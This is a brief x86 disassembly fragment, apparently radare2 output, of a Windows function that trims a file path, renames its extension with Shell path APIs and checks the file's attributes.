call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
test edi, edi
je 0x40fd7e
or eax, 0xffffffff
mov ecx, ebx
mov edx, edi
call fcn.0042b426
push 0x408a74
push edi
call dword [sym.imp.SHLWAPI.dll_PathRenameExtensionW]
cmp byte [esp + 0xc], 0
je 0x40fdac
cmp byte [0x435db4], 1
jbe 0x40fdac
push esi
call fcn.004326bc
push esi
call fcn.0042fe1b
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x40fdac
push ebx
call fcn.0042fe1b
pop esi
pop ebx
ret 4